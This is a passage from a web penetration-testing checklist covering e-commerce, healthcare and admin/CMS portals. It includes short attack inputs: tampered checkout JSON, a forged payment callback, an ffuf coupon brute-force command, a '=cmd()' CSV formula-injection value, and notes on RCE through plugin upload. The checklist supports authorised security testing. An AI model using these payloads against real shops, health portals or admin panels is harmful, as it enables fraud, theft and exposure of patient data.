| Cashback/reward credited multiple times | replay reward claim | Reward replay |
| Regulatory data (PAN/Aadhaar) over-exposed | inspect API responses | Regulatory data over-exposure |
C E-commerce
Carts, coupons, payment callbacks and refunds are the logic battlefield. The recurring theme: anything recalculated or trusted client-side can be tampered for free goods or money back.
# Price / quantity / total tampering at checkout
{"item":123,"price":0.01,"qty":1} qty=-1 {"total":0}
# Payment bypass: confirm order without a real gateway success, or forge the callback
POST /payment/callback {"order":555,"status":"PAID","signature":"???"} # unsigned?
# Coupon abuse: reuse single-use, stack multiple, brute valid codes
ffuf -u https://target.tld/api/coupon/FUZZ -w codes.txt -mr '"valid":true'E-commerce — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Price tampering in cart/checkout | edit price/total in request | Price tampering |
| Negative quantity | qty=-1 | Negative-quantity flaw |
| Currency manipulation | change currency at checkout | Currency manipulation |
| Coupon stacking / single-use reuse | apply multiple/reuse | Coupon logic abuse |
| Coupon brute force | ffuf coupon codes | Coupon enumeration |
| Coupon after payment / on discounted item | apply post-payment | Coupon application flaw |
| Free product via price=0 | set price to 0 | Zero-price purchase |
| Tax/shipping removed via tamper | drop tax/shipping fields | Tax/shipping bypass |
| Gift-card balance manipulation/reuse | tamper/replay gift card | Gift-card manipulation |
| Loyalty points manipulation | add/transfer points | Loyalty-points manipulation |
| Cart total recalculated client-side | tamper total, server trusts it | Client-side total trusted |
| Out-of-stock purchasable | order out-of-stock item | Inventory logic bypass |
| Order status manipulation | mark paid/shipped | Order-status manipulation |
| Payment bypass (no gateway success) | confirm without payment | Payment bypass |
| Gateway callback forging | forge unsigned callback | Payment callback forgery |
| Partial payment accepted as full | underpay | Partial-payment acceptance |
| Refund to attacker / amount tamper | tamper refund target/amount | Refund manipulation |
| Double refund via race | parallel refund requests | Refund race condition |
| BNPL / EMI eligibility tampering | tamper eligibility inputs | BNPL eligibility manipulation |
| Wishlist/order-history IDOR | swap user/order ID | IDOR on order history |
| Invoice/receipt IDOR | swap invoice ID | IDOR on invoices |
| Review/rating spoof for another user | post as another user | Review spoofing |
| Seller price/commission manipulation | tamper seller fields | Marketplace price manipulation |
| Address change redirects delivery (IDOR) | change another order address | IDOR on delivery address |
| Order cancellation after dispatch abuse | cancel post-dispatch | Post-dispatch cancellation abuse |
D Healthcare / health portals
Health portals are dominated by PHI confidentiality. IDOR on medical records is the headline risk, alongside unauthenticated report links and over-exposed PII.
Healthcare / health portals — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| PHI/medical-record IDOR | swap patient/record ID | IDOR on medical records (PHI) |
| Prescription/report download IDOR | swap document ID | IDOR on medical documents |
| Appointment booking on behalf of another | change patient ID | Booking authorisation bypass |
| Doctor/patient role boundary bypass | cross-role access | Role boundary bypass |
| Lab report without auth (direct link) | request link unauthenticated | Unauthenticated PHI access |
| PII/PHI over-exposed in API | inspect API JSON | PHI over-exposure |
| Sensitive data in URL / shared link (no expiry) | inspect share links | Non-expiring sensitive link |
| Consent / access-log not enforced | access without consent, check log | Consent/audit gap |
| Medical document EXIF/metadata leak | exiftool on files | Metadata leak (PHI) |
E Admin / CMS / internal portals
Admin and CMS panels combine exposure, weak auth, privilege escalation, blind XSS (fires in the admin's browser) and RCE via plugin/theme upload.
Admin / CMS / internal portals — full coverage
| Checklist item | How to test | Report as |
|---|---|---|
| Admin panel public-facing | nuclei exposed-panels | Admin panel exposed |
| Default admin credentials | try vendor defaults | Default admin credentials |
| Admin login no rate limit / no 2FA | brute / check MFA | Weak admin authentication |
| Privesc low-admin → super-admin | probe super-admin functions | Admin privilege escalation |
| Stored/blind XSS fires in admin view | XSS in user field shown to admin | Blind XSS in admin panel |
| CSV export → formula injection (admin) | =cmd() in user field | CSV formula injection (admin) |
| Impersonate / login-as-user abuse | test impersonation scope | Impersonation abuse |
| User-management IDOR (edit/delete admins) | swap admin user ID | IDOR on user management |
| Audit log disable/clear by lower role | attempt log clear | Audit-log tampering |
| CMS plugin/theme upload → RCE | upload malicious plugin | RCE via plugin/theme upload |
| CMS known-CVE exploit | nuclei -t cves (CMS-specific) | CMS known vulnerability |
| Bulk action authZ missing | bulk action as low role | Missing bulk-action authorisation |
| Config change without re-auth | change settings, no re-auth | Missing re-auth on config change |
✓ Coverage map & how to run it
Run the universal sections (0–11) on every web target, then add the category block that matches the app. Universal recon and access-control checks find the most; the category sections find the highest-impact, app-specific money/data bugs.
| Section | Run on | Focus |
|---|---|---|
| Universal 0–11 | Every web target | Recon, auth, sessions, access control, injection, logic, files, API, client-side, infra, crypto, info-disclosure |
| SaaS | Multi-tenant apps | Tenant isolation, RBAC, SSO/OAuth, billing |
| Banking | Fintech | Transaction integrity, race conditions, OTP, account IDOR |
| E-commerce | Online stores | Price/coupon/payment/refund logic |
| Healthcare | Health portals | PHI IDOR, data exposure, consent |
| Admin/CMS | Admin & internal portals | Exposure, privesc, blind XSS, RCE via upload |
Two habits make this checklist pay off. First, do recon properly — most criticals come from forgotten hosts and exposed files, not the main app. Second, for access control and logic, always test with two accounts and by calling the backend directly; the UI's restrictions almost never reflect the server's. Tick a box only when you've actually run the test and recorded the result — the finding names here are written so you can paste them straight into the report.